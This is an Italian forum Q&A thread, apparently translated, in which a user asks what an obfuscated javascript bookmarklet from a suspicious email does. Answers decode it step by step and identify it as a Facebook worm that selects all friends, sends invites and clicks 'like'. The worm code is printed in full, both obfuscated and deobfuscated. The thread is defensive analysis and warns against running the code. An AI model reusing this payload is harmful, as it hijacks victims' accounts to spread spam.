2010-05-24 21 views
7

Ok qualcuno che sembra essere un mio buon amico mi sta mandando delle e-mail strane ultimamente una delle quali era un link a una pagina che ti chiede di copiare e incollare questo nella tua barra degli indirizzi nel tuo del browser quindi eseguirlo ...Cosa fa questo codice

javascript:(function(){a='app125879300771588_jop';b='app125879300771588_jode';ifc='app125879300771588_ifc';ifo='app125879300771588_ifo';mw='app125879300771588_mwrapper';var _0xc100=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x63\x6C\x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]]=_0xc100[3];d[_0xc100[2]](a)[_0xc100[4]]=d[_0xc100[2]](b)[_0xc100[5]];d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();setTimeout(function(){fs[_0xc100[8]]();} ,5000);setTimeout(function(){SocialGraphManager[_0xc100[11]](_0xc100[9],_0xc100[10]);} ,5000);setTimeout(function(){d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();d[_0xc100[2]](ifo)[_0xc100[4]]=d[_0xc100[2]](ifc)[_0xc100[5]];} ,5000);})(); 

Non essendo totalmente con esso quando si tratta di programmazione a basso livello io sono curioso di sapere cosa l'e-mail sta chiedendo qui ...

PREGA dI NON utilizzare la CODICE A MENO CHE NON SIA FELICE CHE NON RIMANE NULLA.

Ma ... Qualcuno potrebbe dirmi cosa fa?

+0

Solo una variante di questo worm: http://davezor.posterous.com/reverse-engineering-the-newest-facebook-invit –

risposta

11

Non ho decodificato completamente il codice, ma ecco un paio di suggerimenti.

La variabile _0xc100 definisce un array di stringhe. Il carattere è codificato come esadecimale, quindi è più difficile leggerli. Quindi, ad esempio, \ x76 è uguale a "v".

Si può tranquillamente alert(_0xc100); per vederlo in testo semplice.

var _0xc100 = ["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79", 
     "\x73\x74\x79\x6C\x65", 
     "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", 
     "\x68\x69\x64\x64\x65\x6E", 
     "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", 
     "\x76\x61\x6C\x75\x65", 
     "\x63\x6C\x69\x63\x6B", 
     "\x73\x75\x67\x67\x65\x73\x74", 
     "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C", 
     "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D", 
     "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70", 
     "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67", 
     "\x6C\x69\x6B\x65\x6D\x65"]; 

si traduce in una matrice contenente queste parole chiave

visibility, style, getElementById, hidden, innerHTML, value, click, suggest, select_all, 
sgm_invite_form, /ajax/social_graph/invite_dialog.php, submitDialog, likeme 

Ora, le seguenti dichiarazioni (non eseguire QUELLI) usa queste parole chiave per eseguire effettivamente funzioni.

Ad esempio:

d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3]; 

è equivalente a (d è definita come document e mw è definita nella parte superiore)

document.getElementById("app125879300771588_mwrapper").style.visibility = "hidden"; 

che nasconde un elemento chiamato app125879300771588_mwrapper

seguente le istruzioni danno

document.getElementById("app125879300771588_jop").innerHTML = document.getElementById("app125879300771588_jode").value; 

che copia il contenuto di app125879300771588_jop in app125879300771588_jode

e

document.getElementById("suggest").click(); 

che immagino clic qualche pulsante "suggeriscono".

Infine, imposta 3 funzioni setTimeout, eseguire 3 comandi dopo 5 secondi (il 5000)

Essi si traducono in

setTimeout(function() { 
    select_all(); 
    }, 5000); 

che presumo seleziona tutti i tuoi amici ...

setTimeout(function() 
    { 
    SocialGraphManager.submitDialog("sgm_invite_form", "/ajax/social_graph/invite_dialog.php"); 
    }, 5000); 

... invia li invita

setTimeout(function() 
    { 
    document.getElementById("likeme").click(); 
    document.getElementById("app125879300771588_ifo").innerHTML = 
     document.getElementById("app125879300771588_ifc").value; 
    }, 5000); 

... e preme un pulsante simile

Nota che non uso Facebook, e non conosco i dettagli di esso ma suppongo sia abbastanza chiaro che questo codice è malevolo.

12
a = 'app125879300771588_jop'; 
b = 'app125879300771588_jode'; 
ifc = 'app125879300771588_ifc'; 
ifo = 'app125879300771588_ifo'; 
mw = 'app125879300771588_mwrapper'; 
var _0xc100 = ["visibility", "style", "getElementById", "hidden", "innerHTML", "value", "click", "suggest", "select_all", "sgm_invite_form", "/ajax/social_graph/invite_dialog.php", "submitDialog", "likeme"]; 
d = document; 
d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3]; 
d[_0xc100[2]](a)[_0xc100[4]] = d[_0xc100[2]](b)[_0xc100[5]]; 
d[_0xc100[2]](_0xc100[7])[_0xc100[6]](); 
setTimeout(function() { 
    fs[_0xc100[8]](); 
}, 5000); 
setTimeout(function() { 
    SocialGraphManager[_0xc100[11]](_0xc100[9], _0xc100[10]); 
}, 5000); 
setTimeout(function() { 
    d[_0xc100[2]](_0xc100[12])[_0xc100[6]](); 
    d[_0xc100[2]](ifo)[_0xc100[4]] = d[_0xc100[2]](ifc)[_0xc100[5]]; 
}, 5000); 

Questo è molto probabilmente un adattamento di uno dei tanti worm di Facebook che si invia a tutti i tuoi amici.

Looke here per una domanda simile.

Altre versioni di questo mezzo p.a.c.k.e.r di offuscare, e questi potrebbero essere facilmente deobfuscated eseguendo il codice di p.a.c.k.e.r attraverso http://jsbeautifier.org/

4

E 'un obfuscatedbookmarklet. Puoi non renderlo visibile (attentamente) per vedere l'effettivo Javascript che verrà eseguito. Se non hai un forte bisogno, probabilmente non vale la pena di preoccuparti. Lo raccolgo e controllo con il mio amico per vedere se viene davvero da lui/lei, e se è così, perché.

+0

Mi sono fatto dare un'occhiata da un amico (ed eseguirlo su una macchina che non si preoccupa) Si scopre che è semplicemente un collegamento a questo: http://www.hiwiller.com/2010/04/29/if-mario-was-designed-in-2010/ – War

+0

Ho familiarità con l'isolamento ... quali strumenti posso usare per fare questo genere di cose ... farei alcuni giochi/sfide interessanti. – War

+1

* "Avevo un amico ... lo facevo su una macchina di cui non ci importava ... Si scopre che è semplicemente un collegamento a ..." * Davvero? Perché il riferimento a "SocialGraphManager" mi sembra piuttosto sospetto. Vedi: http://davezor.posterous.com/reverse-engineering-the-newest-facebook-invit –